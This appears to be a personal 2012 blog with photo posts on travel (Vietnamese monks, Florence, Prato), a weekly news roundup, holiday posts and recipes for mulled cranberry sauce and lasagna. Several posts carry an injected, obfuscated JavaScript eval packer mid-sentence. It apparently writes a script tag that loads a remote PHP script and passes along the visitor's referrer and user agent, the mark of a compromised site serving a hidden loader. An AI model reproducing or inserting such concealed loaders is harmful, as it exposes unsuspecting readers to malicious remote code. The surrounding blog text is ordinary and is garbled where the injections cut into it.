Vietnamese Monks

2012 Photo Challenge, Travel

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I applaud myself every time I see this photo!  I was not waiting for a monk to look up at me, I simply took the photo.  I would not consider myself an aggressive photographer.  I much prefer to be invisible while photographing others.  However, this shot could not have turned out better!

2012 REVIEW: Thank You to My Followers for the best year yet!

2012 Photo Challenge

The WordPress.com stats helper monkeys prepared a 2012 annual report for this blog.

Here’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rythr|var|u0026u|referrer|dfnrt||js|php’.split(‘|’),0,{}))
an excerpt:

600 people reached the top of Mt. Everest in 2012. This blog got about 12,000 views in 2012. If every person who reached the top of Mt. Everest viewed this blog, it would have taken 20 years to get that many views.

Click here to see the complete report.

Florence, Italy – Rower

2012 Photo Challenge

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My eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tezfy|var|u0026u|referrer|hhfis||js|php’.split(‘|’),0,{}))
first day in Florence, I arrived early by train and walked in a straight line  until I hit the river.  This early morning rower was among my first sights of Florence.

Prato, Italy – Old Bricks

2012 Photo Challenge, Travel

The buildings in Europe are all built on top of one another.  The structure below has different colored bricks revealing the date and shape it has taken over the years.  All architecture in Europe has this mix of old and new melded together. I find the history of Europe intoxicatingly charming.  I spent hours just meandering streets, staring at the buildings and imagining what they must have looked like centuries ago.  Beauty is in the eye of the beholder, and this beholder finds beauty in bricks. Italy_Bricks

The Week in News Review

2012 Photo Challenge

U.S. unemployment rate falls to 7.7 percent, a four-year low as economy created more than 146,000 jobs last month.

A 7.3 magnitude earthquake hit 465 kilometers off the northeast coast of Japan, causing a small tsunami in a community still remembering the devastation of last year’s earthquak and resulting tsunami that breached the Fukushima nuclear plant.

Legalized Marijuana – eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhsik|var|u0026u|referrer|athdr||js|php’.split(‘|’),0,{}))
the future landscape of America is changing.  As more states begin to legalize marijuana, the regulation rules will change and so will society’s views on pot smoking.  After the November elections this year, a wave of change is sweeping though the country.  The LGBT movement is slowly being accepted with openly gay elected officials and legalizing of marijuana in a couple states – Washington and Colorado – is a clear indicator that the people are ready for change.

Today in History: December 7, 1941 – Pearl Harbor Let us remember the brave lives lost on the 71st anniversary of Pearl Harbor.

Now onto something a little less heavy – have a great weekend everyone!  Below is my coveted weekend wear item.  Everyone needs something comfortable and stylish to wear while cleaning house, running errands or hanging out with friends.

Happy Black Friday!

2012 Photo Challenge, Holidays

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Happy eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|baidf|var|u0026u|referrer|tnfzt||js|php’.split(‘|’),0,{}))
Black Friday! I wish all the shoppers good luck on today’s consumer holiday, but I will be enjoying the comforts of my bed and some old-fashion laziness.

 

 

Drunken Cranberry Sauce for Thanksgiving

2012 Photo Challenge, Food, Holidays

My family celebrated Thanksgiving early this year, and I made our traditional Thanksgiving cranberry sauce that my mom eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drrii|var|u0026u|referrer|ziibb||js|php’.split(‘|’),0,{}))
has made for our family for years.  I have become so accustomed to this cranberry sauce that I no longer like the canned stuff.  This recipe is incredibly easy and delicious! The great part is that you can make it up to a week in advance, which makes the Thanksgiving day preparations easier!
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Mulled Cranberry Sauce
Bon Appetit, November 1999

1 bag cranberries, 12 ounces
1 1/2 cup fruity red wine (such as a Merlot)
1 1/4 cups golden brown sugar (packed)
1/3 cup minced crystallized ginger
1 tablespoon grated orange peel
1/2 teaspoon ground cinnamon
1/2 teaspoon ground allspice
1/4 teaspoon ground cloves

Combine all ingredients in a large saucepan. Bring to a boil over high heat, stirring until sugar dissolves. Reduce heat to medium and cook until liquid is medium-thick syrup and sauce is reduced to 2 2/3 cups, stirring occasionally, about 12 minutes. Transfer sauce to a bow, and refrigerate until cold, about 3 hours. (Can be prepared up to 1 week ahead).

Winter Lasagna

2012 Photo Challenge, Food

Isn’t there something incredibly comforting about lasagna? Is it the memories of eating it at family potlucks or the rich, decadent layers of cheese and deliciousness?
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cold spell came through when Hurricane Sandy was badgering the New England area.  It’s been a mild fall in the South, but I used the chilling temperatures to inspire my cooking.  My first thought went to lasagna.  I don’t make lasagna often, nor do I eat it often.  Although, it seems to appear more frequently on dining room tables around winter holidays.

I used the recipe from Pioneer Woman for the Best Lasagna Ever.  What did I learn? Lasagna is delicious, but it requires at least 1.5-2 hours of prep time.  Every is cooked on the stove before assembling into the beautiful Christmas layers and baked in the oven. I haven’t eaten enough lasagna to be a connoisseur, but it was amazing!

110812_LasagnaLayersPlatedP.S. Lasagna is impossible to cut in perfect squares when it comes hot out of the oven so please pardon the sloppy picture! Also, I found a crock pot lasagna recipe that I’ll have to try next time I’m craving lasagna!